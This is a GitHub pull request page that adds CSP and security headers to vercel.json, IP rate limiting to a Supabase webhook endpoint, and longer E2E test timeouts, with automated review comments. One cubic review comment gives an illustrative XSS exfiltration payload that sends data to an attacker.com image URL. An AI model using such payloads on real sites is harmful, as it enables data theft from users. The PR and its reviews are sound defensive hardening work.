Skip to content

fix(p1-bundle): SEC-016 CSP + OPS-002 rate-limit + e2e #61 timeout#73

Merged
adm01-debug merged 1 commit into
mainfrom
fix/p1-code-hardening
May 22, 2026
Merged

fix(p1-bundle): SEC-016 CSP + OPS-002 rate-limit + e2e #61 timeout#73
adm01-debug merged 1 commit into
mainfrom
fix/p1-code-hardening

Conversation

@adm01-debug
Copy link
Copy Markdown
Owner

@adm01-debug adm01-debug commented May 22, 2026

Summary

Bundle de 3 fixes pequenos do roadmap P1 da auditoria back-end sênior 2026-05-22.

SEC-016 🟡 — Security headers no vercel.json

Antes: apenas rewrites para SPA fallback. Sem CSP, sem HSTS, sem Referrer-Policy.

Agora:

  • HSTS max-age=31536000; includeSubDomains; preload
  • X-Content-Type-Options nosniff
  • X-Frame-Options DENY (defesa anti-clickjacking)
  • Referrer-Policy strict-origin-when-cross-origin
  • Permissions-Policy restringe camera/microphone/geolocation/payment/USB/sensors
  • CSP abrangente cobrindo origens externas reais do projeto (Supabase, Lovable AI, Sentry, ElevenLabs, Bitrix, CNPJá, Cloudflare Images), com frame-ancestors 'none', base-uri 'self', form-action 'self', object-src 'none', upgrade-insecure-requests
  • Cache imutável de 1 ano para assets estáticos (.js/.css/fonts/imagens com hash de versão)

OPS-002 🟡 — webhook-inbound rate-limit por IP

Antes: qualquer caller anônimo conseguia inserir em inbound_webhook_events (com signature_valid: false mas a row entrava). Vetor de DoS por inflação.

Agora: runBotProtection no topo do handler — 60 req/min por IP, block de 30 min ao exceder. Throttle acontece antes de qualquer query no DB.

Issue #61 — Smoke E2E #93 timeout

Antes: await page.locator(Sel.login.submit).first().click() falhava com timeout default de 10 s em CI lento (Vite cold start + SPA hydration). --max-failures=1 derrubava o smoke inteiro.

Agora: toBeVisible({timeout: 15s}) + toBeEnabled({timeout: 15s}) + click({timeout: 15s}). Alinha com o toBeEnabled final que já era 15s.

Test plan

  • CI verde no Edge Functions — Deno typecheck (esse PR não toca tipos)
  • CI verde no e2e smoke chore: code cleanup pass 1 (re-#83) #93 (mudança específica deve resolver issue [CI] Smoke E2E #93 (Login inválido) falha por timeout no submit button #61)
  • Preview Vercel headers conferem via DevTools: curl -I https://we-dream-big-git-fix-p1-code-hardening-juca1.vercel.app
  • Validar CSP no preview — abrir DevTools console em /login, /catalogo, /admin/conexoes etc. e verificar zero violações
  • webhook-inbound: stress test simples (hey -n 200 -c 10 https://.../functions/v1/webhook-inbound?slug=x) deve retornar 429 após 60 req

Notas

https://claude.ai/code/session_011Lgxm1NZGmAztRSvZHX9U3


Generated by Claude Code


Summary by cubic

Adds strict security headers (incl. CSP) in vercel.json, introduces IP rate limiting for webhook-inbound, and stabilizes the smoke E2E login step. Improves security, prevents webhook DoS, and reduces CI flakes (addresses #61).

  • Security & Ops

    • SEC-016: Add HSTS (preload), X-Content-Type-Options, X-Frame-Options: DENY, Referrer-Policy, and a restrictive Permissions-Policy. Add a comprehensive CSP covering required origins (Supabase, Lovable, Sentry, ElevenLabs, Bitrix, CNPJá, Vercel). Add 1-year immutable cache for hashed static assets in vercel.json.
    • OPS-002: Apply 60 req/min per IP with a 30-min block via runBotProtection at the start of supabase/functions/webhook-inbound, before any DB work.
  • Tests

Written for commit 4a26afd. Summary will update on new commits. Review in cubic

Bundle de 3 fixes pequenos do roadmap P1 da auditoria 2026-05-22.

SEC-016 — Security headers no vercel.json:
  Adiciona Strict-Transport-Security (HSTS preload), X-Content-Type-Options,
  X-Frame-Options DENY, Referrer-Policy strict-origin-when-cross-origin,
  Permissions-Policy restritivo, e Content-Security-Policy abrangente
  cobrindo Supabase, Lovable AI, Sentry, ElevenLabs, Bitrix, CNPJá.
  Inclui cache imutável para assets estáticos (1 ano).

OPS-002 — webhook-inbound rate-limit por IP:
  Adiciona runBotProtection no topo do handler (60 req/min por IP, block
  de 30min ao exceder). Antes do fix, qualquer caller anônimo podia
  inflar inbound_webhook_events spammando o endpoint (todas as inserts
  passavam pelo INSERT antes da validação HMAC).

Issue #61 — Smoke E2E #93 timeout:
  Login com credenciais inválidas falhava no click do submit por timeout
  de 10s default em CI lento. Fix: waitFor toBeVisible+toBeEnabled antes
  do click e amplia timeout do próprio click para 15s.

https://claude.ai/code/session_011Lgxm1NZGmAztRSvZHX9U3
Copilot AI review requested due to automatic review settings May 22, 2026 02:20
@vercel
Copy link
Copy Markdown

vercel Bot commented May 22, 2026

The latest updates on your projects. Learn more about Vercel for GitHub.

Project Deployment Actions Updated (UTC)
we-dream-big Ready Ready Preview, Comment May 22, 2026 2:21am

@supabase
Copy link
Copy Markdown

supabase Bot commented May 22, 2026

This pull request has been ignored for the connected project doufsxqlfjyuvxuezpln due to reaching the limit of concurrent preview branches.
Go to Project Integrations Settings ↗︎ if you wish to update this limit.


Preview Branches by Supabase.
Learn more about Supabase Branching ↗︎.

@coderabbitai
Copy link
Copy Markdown

coderabbitai Bot commented May 22, 2026

Warning

Rate limit exceeded

@adm01-debug has exceeded the limit for the number of commits that can be reviewed per hour. Please wait 3 minutes and 43 seconds before requesting another review.

You’ve run out of usage credits. Purchase more in the billing tab.

⌛ How to resolve this issue?

After the wait time has elapsed, a review can be triggered using the @coderabbitai review command as a PR comment. Alternatively, push new commits to this PR.

We recommend that you space out your commits to avoid hitting the rate limit.

🚦 How do rate limits work?

CodeRabbit enforces hourly rate limits for each developer per organization.

Our paid plans have higher rate limits than the trial, open-source and free plans. In all cases, we re-allow further reviews after a brief timeout.

Please see our FAQ for further information.

ℹ️ Review info
⚙️ Run configuration

Configuration used: Path: .coderabbit.yaml

Review profile: CHILL

Plan: Pro

Run ID: d5c107b0-c50c-4a4b-8539-81a0da010bfd

📥 Commits

Reviewing files that changed from the base of the PR and between 9e51c3d and 4a26afd.

📒 Files selected for processing (3)
  • e2e/flows/20-all-features-smoke.spec.ts
  • supabase/functions/webhook-inbound/index.ts
  • vercel.json
✨ Finishing Touches
🧪 Generate unit tests (beta)
  • Create PR with unit tests
  • Commit unit tests in branch fix/p1-code-hardening

Comment @coderabbitai help to get the list of available commands and usage tips.

Copy link
Copy Markdown
Contributor

@cubic-dev-ai cubic-dev-ai Bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

2 issues found across 3 files

Prompt for AI agents (unresolved issues)

Check if these issues are valid — if so, understand the root cause of each and fix them. If appropriate, use sub-agents to investigate and fix each issue separately.


<file name="supabase/functions/webhook-inbound/index.ts">

<violation number="1" location="supabase/functions/webhook-inbound/index.ts:64">
P1: The new rate limit can be bypassed because IP identity is taken from spoofable `x-forwarded-for`; use a trusted proxy header for `customIdentifier` in this endpoint.</violation>
</file>

<file name="vercel.json">

<violation number="1" location="vercel.json:30">
P2: CSP uses bare `https:` in `img-src` and `media-src`, allowing content from any HTTPS origin. This weakens the CSP because an attacker with XSS can exfiltrate data via image requests (`<img src="https://attacker.com/?data=...">`) without the CSP blocking it. The rest of the CSP specifies concrete domains — these two directives should follow the same pattern by restricting to specific trusted image/media origins (e.g., explicit Cloudflare Images domain, `https://*.vercel.app`, etc.) instead of the broad `https:` scheme.</violation>
</file>

Reply with feedback, questions, or to request a fix.

Re-trigger cubic

maxRequests: 60,
windowSeconds: 60,
blockSeconds: 1800,
allowSearchBots: false,
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1: The new rate limit can be bypassed because IP identity is taken from spoofable x-forwarded-for; use a trusted proxy header for customIdentifier in this endpoint.

Prompt for AI agents
Check if this issue is valid — if so, understand the root cause and fix it. At supabase/functions/webhook-inbound/index.ts, line 64:

<comment>The new rate limit can be bypassed because IP identity is taken from spoofable `x-forwarded-for`; use a trusted proxy header for `customIdentifier` in this endpoint.</comment>

<file context>
@@ -43,6 +51,22 @@ function timingSafeEqual(a: string, b: string): boolean {
+      maxRequests: 60,
+      windowSeconds: 60,
+      blockSeconds: 1800,
+      allowSearchBots: false,
+    },
+    corsHeaders,
</file context>
Suggested change
allowSearchBots: false,
allowSearchBots: false,
customIdentifier: req.headers.get("cf-connecting-ip") || req.headers.get("x-real-ip") || "unknown",

Comment thread vercel.json
},
{
"key": "Content-Security-Policy",
"value": "default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://cdn.gpteng.co https://vercel.live https://*.vercel.app; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com; img-src 'self' data: blob: https: ; font-src 'self' data: https://fonts.gstatic.com; connect-src 'self' https://*.supabase.co wss://*.supabase.co https://api.lovable.dev https://*.lovable.app https://*.vercel.app https://*.ingest.sentry.io https://*.glitchtip.io https://*.elevenlabs.io wss://*.elevenlabs.io https://api.cnpja.com https://*.bitrix24.com.br https://*.bitrix24.com; media-src 'self' blob: https:; worker-src 'self' blob:; frame-src 'self' https://vercel.live; frame-ancestors 'none'; base-uri 'self'; form-action 'self'; object-src 'none'; upgrade-insecure-requests"
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2: CSP uses bare https: in img-src and media-src, allowing content from any HTTPS origin. This weakens the CSP because an attacker with XSS can exfiltrate data via image requests (<img src="https://attacker.com/?data=...">) without the CSP blocking it. The rest of the CSP specifies concrete domains — these two directives should follow the same pattern by restricting to specific trusted image/media origins (e.g., explicit Cloudflare Images domain, https://*.vercel.app, etc.) instead of the broad https: scheme.

Prompt for AI agents
Check if this issue is valid — if so, understand the root cause and fix it. At vercel.json, line 30:

<comment>CSP uses bare `https:` in `img-src` and `media-src`, allowing content from any HTTPS origin. This weakens the CSP because an attacker with XSS can exfiltrate data via image requests (`<img src="https://attacker.com/?data=...">`) without the CSP blocking it. The rest of the CSP specifies concrete domains — these two directives should follow the same pattern by restricting to specific trusted image/media origins (e.g., explicit Cloudflare Images domain, `https://*.vercel.app`, etc.) instead of the broad `https:` scheme.</comment>

<file context>
@@ -1,4 +1,41 @@
+        },
+        {
+          "key": "Content-Security-Policy",
+          "value": "default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://cdn.gpteng.co https://vercel.live https://*.vercel.app; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com; img-src 'self' data: blob: https: ; font-src 'self' data: https://fonts.gstatic.com; connect-src 'self' https://*.supabase.co wss://*.supabase.co https://api.lovable.dev https://*.lovable.app https://*.vercel.app https://*.ingest.sentry.io https://*.glitchtip.io https://*.elevenlabs.io wss://*.elevenlabs.io https://api.cnpja.com https://*.bitrix24.com.br https://*.bitrix24.com; media-src 'self' blob: https:; worker-src 'self' blob:; frame-src 'self' https://vercel.live; frame-ancestors 'none'; base-uri 'self'; form-action 'self'; object-src 'none'; upgrade-insecure-requests"
+        }
+      ]
</file context>

Copy link
Copy Markdown
Contributor

Copilot AI left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

Este PR agrupa três hardenings do roadmap P1: adiciona headers de segurança/caching no deploy Vercel, aplica bot-protection (rate-limit) no endpoint público webhook-inbound para mitigar DoS por inflação de tabela, e reduz flakiness de um teste E2E smoke ajustando timeouts/esperas do submit no login inválido.

Changes:

  • Adiciona security headers + CSP + cache imutável de assets no vercel.json.
  • Executa runBotProtection no topo do handler webhook-inbound com limites por IP.
  • Torna o teste smoke #93 mais resiliente a CI lento com toBeVisible/toBeEnabled/click e timeouts maiores.

Reviewed changes

Copilot reviewed 3 out of 3 changed files in this pull request and generated 3 comments.

File Description
vercel.json Configura security headers (incl. CSP) e cache-control imutável para assets estáticos.
supabase/functions/webhook-inbound/index.ts Aplica bot-protection/rate-limit antes do fluxo principal do webhook.
e2e/flows/20-all-features-smoke.spec.ts Ajusta esperas/timeouts no submit do login inválido para reduzir timeouts no CI.

💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.

Comment on lines +55 to +68
// Webhooks legítimos têm baixa cadência (≪60/min por IP); caller espurioso
// que ultrapassa é blocked por 30min e nunca chega no INSERT.
const protection = await runBotProtection(
req,
{
endpoint: "webhook-inbound",
maxRequests: 60,
windowSeconds: 60,
blockSeconds: 1800,
allowSearchBots: false,
},
corsHeaders,
);
if (!protection.allowed) return protection.blockResponse!;
Comment on lines +54 to +56
// OPS-002: rate-limit anti-DoS por IP antes de qualquer trabalho de DB.
// Webhooks legítimos têm baixa cadência (≪60/min por IP); caller espurioso
// que ultrapassa é blocked por 30min e nunca chega no INSERT.
Comment thread vercel.json
Comment on lines +24 to +27
{
"key": "Permissions-Policy",
"value": "camera=(), microphone=(self), geolocation=(), payment=(), usb=(), magnetometer=(), gyroscope=(), accelerometer=()"
},
@adm01-debug adm01-debug merged commit 161839c into main May 22, 2026
27 of 33 checks passed
Copy link
Copy Markdown

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: 4a26afd634

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

Comment on lines +60 to +64
endpoint: "webhook-inbound",
maxRequests: 60,
windowSeconds: 60,
blockSeconds: 1800,
allowSearchBots: false,
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 Badge Skip bot UA blocking on inbound webhook endpoint

Applying runBotProtection here blocks requests before HMAC validation, but this endpoint is meant for machine-to-machine webhook traffic. The shared bot filter classifies empty/short User-Agents and common automation clients (for example curl, axios, node-fetch, undici) as forbidden, so legitimate webhook providers or internal automated callers can receive 403 even with a valid signature. This effectively turns a security hardening into a functional outage for some integrations.

Useful? React with 👍 / 👎.

Comment thread vercel.json
Comment on lines +35 to +37
"source": "/(.*)\\.(js|mjs|css|woff2|woff|ttf|otf|eot|png|jpg|jpeg|gif|webp|avif|svg|ico)",
"headers": [
{ "key": "Cache-Control", "value": "public, max-age=31536000, immutable" }
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2 Badge Limit immutable cache headers to versioned static assets

This rule marks every png/svg/ico (and other extensions) as immutable for one year, but the app serves several fixed-path, non-hashed files (e.g. /favicon.ico, /favicon.svg, /placeholder.svg, /images/promo-brindes-logo.png). After any update to those files, returning users can stay on stale assets until cache expiry because immutable disables revalidation. Restrict this policy to fingerprinted filenames (or reduce TTL for public fixed URLs).

Useful? React with 👍 / 👎.

Comment thread vercel.json
},
{
"key": "Content-Security-Policy",
"value": "default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://cdn.gpteng.co https://vercel.live https://*.vercel.app; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com; img-src 'self' data: blob: https: ; font-src 'self' data: https://fonts.gstatic.com; connect-src 'self' https://*.supabase.co wss://*.supabase.co https://api.lovable.dev https://*.lovable.app https://*.vercel.app https://*.ingest.sentry.io https://*.glitchtip.io https://*.elevenlabs.io wss://*.elevenlabs.io https://api.cnpja.com https://*.bitrix24.com.br https://*.bitrix24.com; media-src 'self' blob: https:; worker-src 'self' blob:; frame-src 'self' https://vercel.live; frame-ancestors 'none'; base-uri 'self'; form-action 'self'; object-src 'none'; upgrade-insecure-requests"
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 Badge Allow Cloudflare Stream embeds in CSP frame-src

The new CSP only allows frame-src 'self' https://vercel.live, but product/admin video playback renders Cloudflare Stream via iframe (getCloudflareEmbedUrl builds https://iframe.videodelivery.net/... in src/utils/cloudflare-stream.ts, consumed by GalleryVideoPlayer and ProductVideoGallery). With this policy, those iframes are blocked by CSP and video previews stop working in production.

Useful? React with 👍 / 👎.

Comment thread vercel.json
},
{
"key": "Content-Security-Policy",
"value": "default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://cdn.gpteng.co https://vercel.live https://*.vercel.app; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com; img-src 'self' data: blob: https: ; font-src 'self' data: https://fonts.gstatic.com; connect-src 'self' https://*.supabase.co wss://*.supabase.co https://api.lovable.dev https://*.lovable.app https://*.vercel.app https://*.ingest.sentry.io https://*.glitchtip.io https://*.elevenlabs.io wss://*.elevenlabs.io https://api.cnpja.com https://*.bitrix24.com.br https://*.bitrix24.com; media-src 'self' blob: https:; worker-src 'self' blob:; frame-src 'self' https://vercel.live; frame-ancestors 'none'; base-uri 'self'; form-action 'self'; object-src 'none'; upgrade-insecure-requests"
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2 Badge Permit configured Sentry DSN host in CSP connect-src

The CSP connect-src whitelist only includes *.ingest.sentry.io/*.glitchtip.io, but this repo documents VITE_SENTRY_DSN values on a custom host (for example https://...@erros.atomicabr.com.br/4 in docs/hardening/ONDA-5-GLITCHTIP-INIT.md) and src/lib/sentry.ts sends telemetry to that DSN origin. Under the new policy those requests are blocked, so error reporting silently stops when using the documented DSN setup.

Useful? React with 👍 / 👎.

Comment on lines +60 to +63
endpoint: "webhook-inbound",
maxRequests: 60,
windowSeconds: 60,
blockSeconds: 1800,
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2 Badge Scope webhook rate limit by slug to avoid cross-endpoint throttling

This configuration applies a single webhook-inbound limiter keyed by IP before slug resolution, so all inbound endpoints share the same 60 req/min bucket per source IP. If one integration on a shared sender IP is noisy (or retries), other independent slugs from that same IP are also forced into 429 despite valid signatures. Isolating the key by slug (e.g., ip+slug) avoids this cross-endpoint interference.

Useful? React with 👍 / 👎.

adm01-debug added a commit that referenced this pull request May 22, 2026
…-emptively)

Adiciona runBotProtection (já presente em main via PR #73) mantendo
parseContract migration desta feature. As linhas adicionadas batem
exatamente com o que main introduziu, então o 3-way merge do PR #87
deve auto-resolver sem conflito.

Verificado localmente: 92/92 contract tests passando.
adm01-debug added a commit that referenced this pull request May 22, 2026
…t to main) (#87)

* feat(contracts): scaffold barrel export (test push)

* feat(contracts): add errors/versioning/parse helpers + vitest alias for esm.sh→zod

* feat(contracts): add v1/v2 schemas for product-webhook, webhook-inbound, webhook-dispatcher

* refactor(webhooks): migrate product-webhook and webhook-inbound to parseContract (backward-compat v1; opt-in v2 via accept-version)

* refactor(webhook-dispatcher): migrate to parseContract; v2 uses discriminated union (dispatch/replay/test)

* test(contracts): add unit tests for errors + versioning (14 tests)

* test(contracts): add contract tests for product-webhook (13) + inbound/dispatcher (16) = 29 tests

* refactor(scripts): rewrite contract-testing.mjs — consume central schemas, remove hardcoded service key

* docs(contracts): add README + MIGRATION_GUIDE (priorized P0/P1/P2 list of 14 funcs + 5-step recipe + special cases)

* feat(contracts): P0 schemas (1/4) — send-transactional-email, kit-ai-builder, bi-copilot

* feat(contracts): P0 schemas (2/4) — market-intelligence-insights, step-up-verify

* feat(contracts): P1 schemas (3/4) — ownership-audit, ownership-repair, simulation-orchestrator, sync-external-db

* feat(contracts): P1+P2 schemas (4/4) — trends-insights, force-global-logout, e2e-cleanup, block-ip-temporarily

* feat(contracts): handler P0 — send-transactional-email migrado para parseContract

* feat(contracts): handlers P0 — kit-ai-builder, bi-copilot migrados para parseContract

* feat(contracts): handler P0 — market-intelligence-insights migrado para parseContract

* feat(contracts): handler P0 — step-up-verify migrado para parseContract

* feat(contracts): handlers P1 (1/2) — ownership-audit, ownership-repair, sync-external-db, trends-insights

* feat(contracts): handler P1 (2/2) — simulation-orchestrator migrado para parseContract

* feat(contracts): handlers P2 (1/2) — force-global-logout, block-ip-temporarily

* feat(contracts): handler P2 (2/2) — e2e-cleanup migrado para parseContract

* test(contracts): adiciona 49 testes de contrato para os 13 endpoints migrados

* merge: integrate OPS-002 bot-protection (resolves PR #87 conflict pre-emptively)

Adiciona runBotProtection (já presente em main via PR #73) mantendo
parseContract migration desta feature. As linhas adicionadas batem
exatamente com o que main introduziu, então o 3-way merge do PR #87
deve auto-resolver sem conflito.

Verificado localmente: 92/92 contract tests passando.
@adm01-debug adm01-debug deleted the fix/p1-code-hardening branch May 24, 2026 18:56
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

[CI] Smoke E2E #93 (Login inválido) falha por timeout no submit button

3 participants